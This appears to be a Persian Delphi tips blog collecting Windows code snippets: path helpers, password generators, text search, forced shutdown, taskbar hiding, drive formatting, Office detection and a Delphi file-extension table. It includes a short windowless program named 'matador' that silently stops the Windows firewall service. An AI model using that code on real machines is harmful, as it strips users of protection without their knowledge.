می خندم به روزهایی که این وبلاگ رو می نوشتم.
هرچند آماتور بودنم تو اون زمان معلومه.افتخار می کنم و می خندم به خودم!
داستان دلفی سنتر تموم شد.
هرچند هنوزم بشدت مشغولم به برنامه نویسی!
قابل دسترسی است.
آدرس کوتاه معمولا در داس مورد استفاده قرار می گیرد.
function GetLongPathName(lpszShortPath: PChar; lpszLongPath: PChar;
cchBuffer: DWORD): DWORD; stdcall;//delphi-center.blogfa.com
//implementation//delphi-center.blogfa.com
function GetLongPathName; external kernel32 Name 'GetLongPathNameA';
// -----------------------------------------------------------------------------
function WinAPI_GetLongPathName(const ShortName: string): string;
begin//delphi-center.blogfa.com
SetLength(Result, MAX_PATH);
SetLength(Result, GetLongPathName(PChar(ShortName), PChar(Result), MAX_PATH));
end;
قطعا با این نوع نمایش در نرم افزارها آشنا شده اید.(خط پر شونده در نوار وضعیت)
type
THackControl = class(TControl);
procedure TfrmWebsite.FormCreate(Sender: TObject);
var
PanelRect: TRect;
begin
// Place progressbar on the statusbar
THackControl(ProgressBar1).SetParent(StatusBar1);
// Retreive the rectancle of the statuspanel (in my case the second)
SendMessage(StatusBar1.Handle, SB_GETRECT, 1, Integer(@PanelRect));
// Position the progressbar over the panel on the statusbar
with PanelRect do
ProgressBar1.SetBounds(Left, Top, Right - Left, Bottom - Top);
end;
function RandomPassword(PLen: Integer): string;
var
str: string;
begin
Randomize;//delphi-center.blogfa.com
//string with all possible chars
str := 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
Result := '';
repeat//delphi-center.blogfa.com
Result := Result + str[Random(Length(str)) + 1];
until (Length(Result) = PLen)
end;
procedure TForm1.Button1Click(Sender: TObject);
begin//delphi-center.blogfa.com
//generate a password with 10 chars
label1.Caption := RandomPassword(10);
end;
function RandomWord(dictSize, lngStepSize, wordLen, minWordLen: Integer): string;
begin//delphi-center.blogfa.com
Result := '';
if (wordLen < minWordLen) and (minWordLen > 0) then
wordLen := minWordLen
else if (wordLen < 1) and (minWordLen < 1) then wordLen := 1;
repeat
Result := Result + Chr(Random(dictSize) + lngStepSize);
until (Length(Result) = wordLen);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin//delphi-center.blogfa.com
//generate a password with 10 chars
Caption := RandomWord(33, 54, Random(12), 2);
end;
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Memo1: TMemo;
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
CheckBox1: TCheckBox;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private-Deklarationen }
public
{ Public-Deklarationen }
end;
var
Form1: TForm1;
x: Integer;
find: Boolean = False;
implementation
{$R *.dfm}
//Suchenbutton:
procedure TForm1.Button1Click(Sender: TObject);
var
i: Integer;
a: string;
begin
Memo1.Lines.Add('');
Memo1.Lines.Text := ' ' + Memo1.Lines.Text;
for i := 0 to Length(Memo1.Lines.Text) - Length(edit1.Text) do
begin
a := Copy(Memo1.Lines.Text, i, Length(edit1.Text));
if CheckBox1.Checked = True then
begin
if a = edit1.Text then
begin
find := True;
x := 2;
Memo1.Lines.Text := Copy(Memo1.Lines.Text, 2, Length(Memo1.Lines.Text) - 1);
Memo1.SetFocus;
Memo1.SelStart := i - 2;
Memo1.SelLength := Length(edit1.Text);
break;
end;
end
else
begin
if lowercase(a) = lowercase(edit1.Text) then
begin
Memo1.Lines.Text := Copy(Memo1.Lines.Text, 2, Length(Memo1.Lines.Text) - 1);
find := True;
x := 2;
Memo1.SetFocus;//delphi-center.blogfa.com
Memo1.SelStart := i - 2;
Memo1.SelLength := Length(edit1.Text);
break;
end;
end;
end;
if find = False then ShowMessage('SuchString nicht gefunden')
else
find := False;
end;
//Weitersuchenbutton:
procedure TForm1.Button2Click(Sender: TObject);
var//delphi-center.blogfa.com
i: Integer;
a: string;
d: Integer;
begin
d := 0;
for i := 0 to Length(Memo1.Lines.Text) - Length(edit1.Text) do
begin
a := Copy(Memo1.Lines.Text, i, Length(edit1.Text));
if CheckBox1.Checked = True then
begin
if a = edit1.Text then
begin
d := d + 1;
if d = x then
begin
find := True;
x := x + 1;
Memo1.Lines.Text := Copy(Memo1.Lines.Text, 2, Length(Memo1.Lines.Text) - 1);
Memo1.SetFocus;
Memo1.SelStart := i - 1;
Memo1.SelLength := Length(edit1.Text);
break;
Memo1.Lines.Text := Copy(Memo1.Lines.Text, 2, Length(Memo1.Lines.Text) - 1);
end;
end;
end
else
begin
if lowercase(a) = lowercase(edit1.Text) then
begin
d := d + 1;
if d = x then
begin
find := True;
x := x + 1;//delphi-center.blogfa.com
Memo1.Lines.Text := Copy(Memo1.Lines.Text, 2, Length(Memo1.Lines.Text) - 1);
Memo1.SetFocus;
Memo1.SelStart := i - 1;
Memo1.SelLength := Length(edit1.Text);
break;
Memo1.Lines.Text := Copy(Memo1.Lines.Text, 2, Length(Memo1.Lines.Text) - 1);
end;
end;
end;
end;
if find = False then ShowMessage('SuchString nicht gefunden')
else
find := False;
end;
function MyExitWindows(RebootParam: Longword): Boolean;
var
TTokenHd: THandle;
TTokenPvg: TTokenPrivileges;
cbtpPrevious: DWORD;
rTTokenPvg: TTokenPrivileges;
pcbtpPreviousRequired: DWORD;
tpResult: Boolean;
const
SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
tpResult := OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
TTokenHd);
if tpResult then
begin
tpResult := LookupPrivilegeValue(nil,
SE_SHUTDOWN_NAME,
TTokenPvg.Privileges[0].Luid);
TTokenPvg.PrivilegeCount := 1;
TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
cbtpPrevious := SizeOf(rTTokenPvg);
pcbtpPreviousRequired := 0;
if tpResult then
Windows.AdjustTokenPrivileges(TTokenHd,
False,
TTokenPvg,
cbtpPrevious,
rTTokenPvg,
pcbtpPreviousRequired);
end;
end;
Result := ExitWindowsEx(RebootParam, 0);
end;
// Example to shutdown Windows:
procedure TForm1.Button1Click(Sender: TObject);
begin
MyExitWindows(EWX_POWEROFF or EWX_FORCE);
end;
// Example to reboot Windows:
procedure TForm1.Button1Click(Sender: TObject);
begin
MyExitWindows(EWX_REBOOT or EWX_FORCE);
end;
// Parameters for MyExitWindows()
{2. Console Shutdown Demo}
program Shutdown;
{$APPTYPE CONSOLE}
uses
SysUtils,
Windows;
// Shutdown Program
// (c) 2000 NeuralAbyss Software
// www.neuralabyss.com
var
logoff: Boolean = False;
reboot: Boolean = False;
warn: Boolean = False;
downQuick: Boolean = False;
cancelShutdown: Boolean = False;
powerOff: Boolean = False;
timeDelay: Integer = 0;
function HasParam(Opt: Char): Boolean;
var
x: Integer;
begin
Result := False;
for x := 1 to ParamCount do
if (ParamStr(x) = '-' + opt) or (ParamStr(x) = '/' + opt) then Result := True;
end;
function GetErrorstring: string;
var
lz: Cardinal;
err: array[0..512] of Char;
begin
lz := GetLastError;
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, nil, lz, 0, @err, 512, nil);
Result := string(err);
end;
procedure DoShutdown;
var
rl, flgs: Cardinal;
hToken: Cardinal;
tkp: TOKEN_PRIVILEGES;
begin
flgs := 0;
if downQuick then flgs := flgs or EWX_FORCE;
if not reboot then flgs := flgs or EWX_SHUTDOWN;
if reboot then flgs := flgs or EWX_REBOOT;
if poweroff and (not reboot) then flgs := flgs or EWX_POWEROFF;
if logoff then flgs := (flgs and (not (EWX_REBOOT or EWX_SHUTDOWN or EWX_POWEROFF))) or
EWX_LOGOFF;
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
if not OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
hToken) then
Writeln('Cannot open process token. [' + GetErrorstring + ']')
else
begin
if LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid) then
begin
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
tkp.PrivilegeCount := 1;
AdjustTokenPrivileges(hToken, False, tkp, 0, nil, rl);
if GetLastError <> ERROR_SUCCESS then
Writeln('Error adjusting process privileges.');
end
else
Writeln('Cannot find privilege value. [' + GetErrorstring + ']');
end;
{ if CancelShutdown then
if AbortSystemShutdown(nil) = False then
Writeln(\'Cannot abort. [\' + GetErrorstring + \']\')
else
Writeln(\'Cancelled.\')
else
begin
if InitiateSystemShutdown(nil, nil, timeDelay, downQuick, Reboot) = False then
Writeln(\'Cannot go down. [\' + GetErrorstring + \']\')
else
Writeln(\'Shutting down!\');
end;
}
end;
// else begin
ExitWindowsEx(flgs, 0);
// end;
end;
begin
Writeln('Shutdown v0.3 for Win32 (similar to the Linux version)');
Writeln('(c) 2000 NeuralAbyss Software. All Rights Reserved.');
if HasParam('?') or (ParamCount = 0) then
begin
Writeln('Usage: shutdown [-akrhfnc] [-t secs]');
Writeln(' -k: don''t really shutdown, only warn.');
Writeln(' -r: reboot after shutdown.');
Writeln(' -h: halt after shutdown.');
Writeln(' -p: power off after shutdown');
Writeln(' -l: log off only');
Writeln(' -n: kill apps that don''t want to die.');
Writeln(' -c: cancel a running shutdown.');
end
else
begin
if HasParam('k') then warn := True;
if HasParam('r') then reboot := True;
if HasParam('h') and reboot then
begin
Writeln('Error: Cannot specify -r and -h parameters together!');
Exit;
end;
if HasParam('h') then reboot := False;
if HasParam('n') then downQuick := True;
if HasParam('c') then cancelShutdown := True;
if HasParam('p') then powerOff := True;
if HasParam('l') then logoff := True;
DoShutdown;
end;
end.
// Parameters for MyExitWindows()
EWX_LOGOFF
Shuts down all processes running in the security context of the process that called the
ExitWindowsEx function. Then it logs the user off.
Alle Prozesse des Benutzers werden beendet, danach wird der Benutzer abgemeldet.
EWX_POWEROFF
Shuts down the system and turns off the power.
The system must support the power-off feature.
Windows NT/2000/XP:
The calling process must have the SE_SHUTDOWN_NAME privilege.
Fährt Windows herunter und setzt den Computer in den StandBy-Modus,
sofern von der Hardware unterstützt.
EWX_REBOOT
Shuts down the system and then restarts the system.
Windows NT/2000/XP: The calling process must have the SE_SHUTDOWN_NAME privilege.
Fährt Windows herunter und startet es neu.
EWX_SHUTDOWN
Shuts down the system to a point at which it is safe to turn off the power.
All file buffers have been flushed to disk, and all running processes have stopped.
If the system supports the power-off feature, the power is also turned off.
Windows NT/2000/XP: The calling process must have the SE_SHUTDOWN_NAME privilege.
Fährt Windows herunter.
EWX_FORCE
Forces processes to terminate. When this flag is set,
the system does not send the WM_QUERYENDSESSION and WM_ENDSESSION messages.
This can cause the applications to lose data.
Therefore, you should only use this flag in an emergency.
Die aktiven Prozesse werden zwangsweise und ohne Rückfrage beendet.
EWX_FORCEIFHUNG
Windows 2000/XP: Forces processes to terminate if they do not respond to the
WM_QUERYENDSESSION or WM_ENDSESSION message. This flag is ignored if EWX_FORCE is used.
Windows 2000/XP: Die aktiven Prozesse werden aufgefordert, sich selbst zu beenden und
müssen dies bestätigen. Reagieren sie nicht, werden sie zwangsweise beendet.
SetCursorPos(10, 20);
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
GetDoubleClickTime;
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
SendMessage(Panel1.Handle, WM_LBUTTONDBLCLK, 10, 10)
var
wndTaskbar: HWND;
begin
wndTaskbar := FindWindow('Shell_TrayWnd', nil);
if wndTaskbar <> 0 then
begin
EnableWindow(wndTaskbar, False); // Disable the taskbar
EnableWindow(wndTaskbar, True); // Enable the taskbar
ShowWindow(wndTaskbar, SW_HIDE); // Taskbar vertecken
ShowWindow(wndTaskbar, SW_SHOW); // Taskbar anzeigen
end;
end;
در هنگام آزمایش مراقب باشید.
const
SHFMT_DRV_A = 0;
SHFMT_DRV_B = 1;
SHFMT_ID_DEFAULT = $FFFF;
SHFMT_OPT_QUICKFORMAT = 0;
SHFMT_OPT_FULLFORMAT = 1;
SHFMT_OPT_SYSONLY = 2;
SHFMT_ERROR = -1;
SHFMT_CANCEL = -2;
SHFMT_NOFORMAT = -3;
function SHFormatDrive(hWnd: HWND;
Drive: Word;
fmtID: Word;
Options: Word): Longint
stdcall; external 'Shell32.dll' Name 'SHFormatDrive';
procedure TForm1.Button1Click(Sender: TObject);
var
FmtRes: Longint;
begin
try
FmtRes := ShFormatDrive(Handle,
SHFMT_DRV_A,
SHFMT_ID_DEFAULT,
SHFMT_OPT_QUICKFORMAT);
case FmtRes of
SHFMT_ERROR: ShowMessage('Error formatting the drive');
SHFMT_CANCEL: ShowMessage('User canceled formatting the drive');
SHFMT_NOFORMAT: ShowMessage('No Format')
else
ShowMessage('Disk has been formatted!');
end;
except
ShowMessage('Error Occured!');
end;
end;
var
EMode: Word;
begin
EMode := SetErrorMode(SEM_FAILCRITICALERRORS);
// ShFormatDrive Code....
SetErrorMode(EMode);
end;
قطعا تا کنون با این مورد در برنامه های زیادی روبرو شدید.توسط این کد می توانید تشخیص دهید که ویندوز چه مدت است که در حال اجراست:
function UpTime: string;
const
ticksperday: Integer = 1000 * 60 * 60 * 24;
ticksperhour: Integer = 1000 * 60 * 60;
ticksperminute: Integer = 1000 * 60;
tickspersecond: Integer = 1000;
var
t: Longword;
d, h, m, s: Integer;
begin
t := GetTickCount;
d := t div ticksperday;
Dec(t, d * ticksperday);
h := t div ticksperhour;
Dec(t, h * ticksperhour);
m := t div ticksperminute;
Dec(t, m * ticksperminute);
s := t div tickspersecond;
Result := 'Uptime: ' + IntToStr(d) + ' Days ' + IntToStr(h) + ' Hours ' + IntToStr(m) +
' Minutes ' + IntToStr(s) + ' Seconds';
end;
//Sample
procedure TForm1.Button1Click(Sender: TObject);
begin
label1.Caption := UpTime;
end;
Code by: Simon Grossenbacher
procedure TForm1.Button1Click(Sender: TObject);
var
h: HWnd;
begin
h := Handle;
while h > 0 do
begin
if IsWindowVisible(h) then
PostMessage(h, WM_SYSCOMMAND, SC_MINIMIZE, 0);
h := GetNextWindow(h, GW_HWNDNEXT);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Keybd_event(VK_LWIN, 0, 0, 0);
Keybd_event(Byte('M'), 0, 0, 0);
Keybd_event(Byte('M'), 0, KEYEVENTF_KEYUP, 0);
Keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0);
end;
uses Jpeg, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP;
{ .... }
function DownloadJPGToBitmap(const URL : string; ABitmap: TBitmap): Boolean;
var
idHttp: TIdHTTP;
ImgStream: TMemoryStream;
JpgImage: TJPEGImage;
begin
Result := False;
ImgStream := TMemoryStream.Create;
try //delphi-center.blogfa.com
idHttp := TIdHTTP.Create(nil);
try
idHttp.Get(URL, ImgStream);
finally
idHttp.Free;
end;//delphi-center.blogfa.com
ImgStream.Position := 0;
JpgImage := TJPEGImage.Create;
try//delphi-center.blogfa.com
JpgImage.LoadFromStream(ImgStream);
ABitmap.Assign(JpgImage);
finally
Result := True;
JpgImage.Free;
end;
finally//delphi-center.blogfa.com
ImgStream.Free;
end;
end;
// Example:
procedure TForm1.Button1Click(Sender: TObject);
begin//delphi-center.blogfa.com
DownloadJPGToBitmap('http://www.sample.com/test.jpg', Image1.Picture.Bitmap);
end;
uses
psAPI;
//...
function GetProcessMemorySize(_sProcessName: string; var _nMemSize: Cardinal): Boolean;
var//Delphi-center.blogfa.com
l_nWndHandle, l_nProcID, l_nTmpHandle: HWND;
l_pPMC: PPROCESS_MEMORY_COUNTERS;
l_pPMCSize: Cardinal;
begin
l_nWndHandle := FindWindow(nil, PChar(_sProcessName));
if l_nWndHandle = 0 then
begin
Result := False;
Exit;
end;
//Delphi-center.blogfa.com
l_pPMCSize := SizeOf(PROCESS_MEMORY_COUNTERS);
GetMem(l_pPMC, l_pPMCSize);
l_pPMC^.cb := l_pPMCSize;
GetWindowThreadProcessId(l_nWndHandle, @l_nProcID);
l_nTmpHandle := OpenProcess(PROCESS_ALL_ACCESS, False, l_nProcID);
if (GetProcessMemoryInfo(l_nTmpHandle, l_pPMC, l_pPMCSize)) then
_nMemSize := l_pPMC^.WorkingSetSize
else
_nMemSize := 0;
FreeMem(l_pPMC);
Result := True;
end;
//Beispiel
مثال:
procedure TForm1.Button1Click(Sender: TObject);
var
l_nSize: Cardinal;
begin
if (GetProcessMemorySize('Unbenannt - Editor', l_nSize)) then
ShowMessage('Size: ' + IntToStr(l_nSize) + ' byte')
//Delphi-center.blogfa.com
else
ShowMessage('Error');
end;
type
SHELLSTATE = record
Flags1: DWORD;
(*
BOOL fShowAllObjects : 1;
BOOL fShowExtensions : 1;
BOOL fNoConfirmRecycle : 1;
BOOL fShowSysFiles : 1;
BOOL fShowCompColor : 1;
BOOL fDoubleClickInWebView : 1;
BOOL fDesktopHTML : 1;
BOOL fWin95Classic : 1;
BOOL fDontPrettyPath : 1;
BOOL fShowAttribCol : 1; // No longer used, dead bit
BOOL fMapNetDrvBtn : 1;
BOOL fShowInfoTip : 1;
BOOL fHideIcons : 1;
BOOL fWebView : 1;
BOOL fFilter : 1;
BOOL fShowSuperHidden : 1;
BOOL fNoNetCrawling : 1;
*)
dwWin95Unused: DWORD; // Win95 only - no longer supported pszHiddenFileExts
uWin95Unused: UINT; // Win95 only - no longer supported cbHiddenFileExts
// Note: Not a typo! This is a persisted structure so we cannot use LPARAM
lParamSort: Integer;
iSortDirection: Integer;
version: UINT;
// new for win2k. need notUsed var to calc the right size of ie4 struct
// FIELD_OFFSET does not work on bit fields
uNotUsed: UINT; // feel free to rename and use
Flags2: DWORD;
(*
BOOL fSepProcess: 1;
// new for Whistler.
BOOL fStartPanelOn: 1; //Indicates if the Whistler StartPanel mode is ON or OFF.
BOOL fShowStartPage: 1; //Indicates if the Whistler StartPage on desktop is ON or OFF.
UINT fSpareFlags : 13;
*)
end;
LPSHELLSTATE = ^SHELLSTATE;
const
SSF_SHOWALLOBJECTS = $00000001;
SSF_SHOWEXTENSIONS = $00000002;
SSF_HIDDENFILEEXTS = $00000004;
SSF_SERVERADMINUI = $00000004;
SSF_SHOWCOMPCOLOR = $00000008;
SSF_SORTCOLUMNS = $00000010;
SSF_SHOWSYSFILES = $00000020;
SSF_DOUBLECLICKINWEBVIEW = $00000080;
SSF_SHOWATTRIBCOL = $00000100;
SSF_DESKTOPHTML = $00000200;
SSF_WIN95CLASSIC = $00000400;
SSF_DONTPRETTYPATH = $00000800;
SSF_SHOWINFOTIP = $00002000;
SSF_MAPNETDRVBUTTON = $00001000;
SSF_NOCONFIRMRECYCLE = $00008000;
SSF_HIDEICONS = $00004000;
SSF_FILTER = $00010000;
SSF_WEBVIEW = $00020000;
SSF_SHOWSUPERHIDDEN = $00040000;
SSF_SEPPROCESS = $00080000;
SSF_NONETCRAWLING = $00100000;
SSF_STARTPANELON = $00200000;
SSF_SHOWSTARTPAGE = $00400000;
procedure SHGetSetSettings(var lpss: SHELLSTATE; dwMask: DWORD; bSet: BOOL) stdcall;
external 'shell32.dll';
procedure SwitchStartpanelXP(xpstyle: Boolean);
var
lpss: SHELLSTATE;
bIsXPstyle: Boolean;
begin
ZeroMemory(@lpss, SizeOf(lpss));
// Retrieve current style
SHGetSetSettings(lpss, SSF_STARTPANELON, False);
// Check the current style
bIsXPstyle := (lpss.Flags2 and 2) = 2; // fStartPanelOn
// If a change occurred
if (bIsXPstyle <> xpstyle) then
begin
// If the user wants XP style then set it, else reset it
if (xpstyle) then
lpss.Flags2 := 2 // fStartPanelOn = 1
else
lpss.Flags2 := 0; // fStartPanelOn = 0
// Set new style
SHGetSetSettings(lpss, SSF_STARTPANELON, True);
// Notify desktop of the change
PostMessage(FindWindow('Progman', nil), WM_USER + $60, 0, 0);
end;
// Notify taskbar
PostMessage(FindWindow('Shell_TrayWnd', nil), WM_USER + $0D, 0, 0);
end;
program matador;
{$APPTYPE GUI}
uses
Windows, winsvc, shellapi;
procedure Close_Firewal;
var
SCM, hService: LongWord;
sStatus: TServiceStatus;
begin
SCM := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
hService := OpenService(SCM, PChar('SharedAccess'), SERVICE_ALL_ACCESS);
ControlService(hService, SERVICE_CONTROL_STOP, sStatus);
CloseServiceHandle(hService);
end;
begin
Close_Firewal;
end.
uses ShellApi;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShellExecute (HWND(nil), 'open', 'taskmgr', '', '', SW_SHOWNORMAL);
end;
function ChangeSize(Handle: Hwnd; dHeight, dWidth: Integer; ScreenCenter: Boolean): Boolean;
var
P: TRect;
begin
Result := False;
try
GetWindowRect(Handle, P); {Der TRect var die Positions daten des Fenster übergeben}
if ScreenCenter then
MoveWindow(Handle, (Screen.Width-dWidth) div 2, (Screen.Height-dHeight) div 2, dHeight, dWidth, True)
else
MoveWindow(Handle, P.Left, P.Top, dHeight, dWidth, True);
except
Result := False;
end;
Result := True;
end;
author :Henning Huncke
| Position | Programming Language | Ratings | (Ratings) | Status | |
|---|---|---|---|---|---|
| 1 | C | 19.368% | +1.08% | A | |
| 2 | Java | 18.569% | +1.03% | A | |
| 3 | Perl | 10.371% | -0.01% | A | |
| 4 | C++ | 9.722% | -2.83% | A | |
| 5 | PHP | 7.974% | -0.74% | A | |
| 6 | (Visual) Basic | 6.778% | -3.63% | A | |
| 7 | Delphi/Kylix | 2.890% | -0.51% | A | |
| 8 | Python | 2.802% | -3.78% | A | |
| 9 | C# | 2.783% | +1.14% | A | |
| 10 | SQL | 2.650% | +0.37% | A | |
| 11 | JavaScript | 1.387% | -0.06% | A | |
| 12 | COBOL | 1.381% | +0.86% | A | |
| 13 | IDL | 1.226% | +0.91% | A- | |
| 14 | SAS | 1.089% | +0.38% | A | |
| 15 | Lisp | 0.861% | +0.50% | A | |
| 16 | Fortran | 0.818% | +0.45% | A | |
| 17 | MATLAB | 0.780% | +0.51% | A-- | |
| 18 | Ada | 0.679% | +0.34% | B | |
| 19 | Pascal | 0.486% | +0.07% | B | |
| 20 | AWK | 0.475% | +0.21% | B |
|
Extension |
File Type and Description |
Creation Time |
Required to Compile? |
|---|---|---|---|
|
.BMP, .ICO, .CUR |
Bitmap, icon, and cursor files: standard Windows files used to store bitmapped images. |
Development: Image Editor |
Usually not, but they might be needed at run time and for further editing. |
|
.BPG |
Borland Project Group: the files used by the new multiple-target Project Manager. It is a sort of makefile. |
Development |
Required to recompile all the projects of the group at once. |
|
.BPL |
Borland Package Library: a DLL including VCL components to be used by the Delphi environment at design time or by applications at run time. (These files used a .DPL extension in Delphi 3.) |
Compilation: Linking |
You'll distribute packages to other Delphi developers and, optionally, to endusers. |
|
.CAB |
The Microsoft Cabinet compressed-file format used for web deployment by Delphi. A CAB file can store multiple compressed files. |
Compilation |
Distributed to users. |
|
.CFG |
Configuration file with project options. Similar to the DOF files. |
Development |
Required only if special compiler options have been set. |
|
.DCP |
Delphi Compiled Package: a file with symbol information for the code that was compiled into the package. It doesn't include compiled code, which is stored in DCU files or in the BPL file. |
Compilation |
Required when you use run-timepackages. You'll distribute it only to other developers along with BPL files. You can compile an application with the units from a package just by having theDCP file and the BPL (and no DCU files). |
|
.DCU |
Delphi Compiled Unit: the result of the compilation of a Pascal file. |
Compilation |
Only if the source code is not available. DCU files for the units you write are an intermediate step, so they make compilation faster. |
|
.DDP |
The Delphi Diagram Portfolio, used by the Diagram view of the editor (was .DTI in Delphi 5) |
Development |
No. This file stores "design-time only" information, not required by the resulting program but very important for the programmer. |
|
.DFM |
Delphi Form File: a binary file with the description of the properties of a form (or a data module) and of the components it contains. |
Development |
Yes. Every form is stored in both a PAS and a DFM file. |
|
.~DF |
Backup of Delphi Form File (DFM). |
Development |
No. This file is produced when you save a new version of the unit related to the form and the form file along with it. |
|
.DFN |
Support file for the Integrated Translation Environment (there is one DFN file for each form and each target language). |
Development (ITE) |
Yes (for ITE). These files contain the translated strings that you edit in the Translation Manager. |
|
.DLL |
Dynamic link library: another version of an executable file. |
Compilation: Linking |
See .EXE. |
|
.DOF |
Delphi Option File: a text file with the current settings for the project options. |
Development |
Required only if special compiler options have been set. |
|
.DPK and now also .DPKW and .DPKL |
Delphi Package: the project source code file of a package (ora specific project file for Windows or Linux). |
Development |
Yes. |
|
.DPR |
Delphi Project file. (This file actually contains Pascal sourcecode.) |
Development |
Yes. |
|
.~DP |
Backup of the Delphi Project file(.DPR). |
Development |
No. This file is generated auto-matically when you save a new version of a project file. |
|
.DSK |
Desktop file: contains infor-mation about the position of the Delphi windows, the files open in the editor, and other Desktop settings. |
Development |
No. You should actually delete it if you copy the project to a new directory. |
|
.DSM |
Delphi Symbol Module: stores all the browser symbol information. |
Compilation (but only if the Save Symbols option is set) |
No. Object Browser uses this file, instead of the data in memory, when you cannot recompile a project. |
|
.EXE |
Executable file: the Windows application you've produced. |
Compilation: Linking |
No. This is the file you'll distribute. It includes all of the compiled units, forms, and resources. |
|
.HTM |
Or .HTML, for Hypertext Markup Language: the file format used forInternet web pages. |
Web deployment of an ActiveForm |
No. This is not involved in the project compilation. |
|
.LIC |
The license files related to an OCX file. |
ActiveX Wizard and other tools |
No. It is required to use the control in another development environment. |
|
.OBJ |
Object (compiled) file, typical of the C/C++ world. |
Intermediate compilation step, generally not used in Delphi |
It might be required to merge Delphi with C++ compiled code ina single project. |
|
OCX |
OLE Control Extension: a special version of a DLL, containing ActiveX controls or forms. |
Compilation: Linking |
See .EXE. |
|
.PAS |
Pascal file: the source code of aPascal unit, either a unit related to a form or a stand-alone unit. |
Development |
Yes. |
|
.~PA |
Backup of the Pascal file (.PAS). |
Development |
No. This file is generated automatically by Delphi when you save a new version of the source code. |
|
.RES, .RC |
Resource file: the binary file associated with the project and usually containing its icon. You can add other files of this type to a project. When you create custom resource files you might use also the textual format, .RC. |
Development Options dialog box. The ITE (Integrated Translation Environment) gene-rates resource files with special comments. |
Yes. The main RES file of an application is rebuilt by Delphi according to the information in the Application page of the Project Options dialog box. |
|
.RPS |
Translation Repository (part of the Integrated Translation Environment). |
Development (ITE) |
No. Required to manage the translations. |
|
.TLB |
Type Library: a file built automatically or by the Type Library Editor for OLE server applications. |
Development |
This is a file other OLE programs might need. |
|
TODO |
To-do list file, holding the items related to the entire project. |
Development |
No. This file hosts notes for the programmers. |
|
.UDL |
Microsoft Data Link. |
Development |
Used by ADO to refer to a data provider. Similar to an alias in the BDE world (see |
نویسنده:Joel Fugazzotto
procedure AddFarsiLNG;
var Vreg:TRegistry;
//(C) Koosha System Software http://delphi-center.blogfa.com
begin
//Copy Files
CopyFile('l_intl.nls','C:\windows\system32\l_intl.nls',true);
CopyFile('KBDFA.dll','C:\windows\system32\KBDFA.dll',true);
//Create Registry Values
Vreg:=TRegistry.Create;
with Vreg do
begin //(C) Koosha System Software http://delphi-center.blogfa.com
try
RootKey:=HKEY_LOCAL_MACHINE;
OpenKey('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\00000429',true);
WriteString('Layout File','KBDFA.dll');
WriteString('Layout Text','Farsi');
OpenKey('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Locale',true);
WriteString('d','1');
OpenKey('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language',true);
WriteString('0429','l_intl.nls');
CloseKey; //(C) Koosha System Software http://delphi-center.blogfa.com
finally Free end;
end;
end;
با این کد می توانید تعیین کنید که آیا هر یک از اجزای Office در حال اجرا می باشند یا خیر
uses
ComObj, ActiveX;
function IsObjectActive(ClassName: string): Boolean;
var
ClassID: TCLSID;
Unknown: IUnknown;
begin
try
ClassID := ProgIDToClassID(ClassName);
Result := GetActiveObject(ClassID, nil, Unknown) = S_OK;
except
// raise;
Result := False;
end;
end;
مثال:
procedure TForm1.Button1Click(Sender: TObject);
begin
if IsObjectActive('Word.Application') then ShowMessage('Word is running !');
if IsObjectActive('Excel.Application') then ShowMessage('Excel is running !');
if IsObjectActive('Outlook.Application') then ShowMessage('Outlook is running !');
if IsObjectActive('Access.Application') then ShowMessage('Access is running !');
if IsObjectActive('Powerpoint.Application') then ShowMessage('Powerpoint is running !');
end;
خروجی این فانکشن یک خروجی منطقی است.با این کد می توانید به سادگی تشخیص دهید که سطل زباله خالی است یا پر.
uses
Activex, ShlObj, ComObj;
function RecycleBinIsEmpty: Boolean;
const
CLSID_IRecycleBin: TGUID = (D1: $645FF040; D2: $5081; D3: $101B;
D4: ($9F, $08, $00, $AA, $00, $2F, $95, $4E));
var
EnumIDList: IEnumIDList;
FileItemIDList: PItemIDList;
ItemCount: ULONG;
RecycleBin: IShellFolder;
begin
CoInitialize(nil);
OleCheck(CoCreateInstance(CLSID_IRecycleBin, nil, CLSCTX_INPROC_SERVER or
CLSCTX_LOCAL_SERVER, IID_IShellFolder, RecycleBin));
RecycleBin.EnumObjects(0,
SHCONTF_FOLDERS or
SHCONTF_NONFOLDERS or
SHCONTF_INCLUDEHIDDEN,
EnumIDList);
Result := EnumIDList.Next(1, FileItemIDList, ItemCount) <> NOERROR;
CoUninitialize;
end;
function GetInstalledWordVersion: Integer;
var
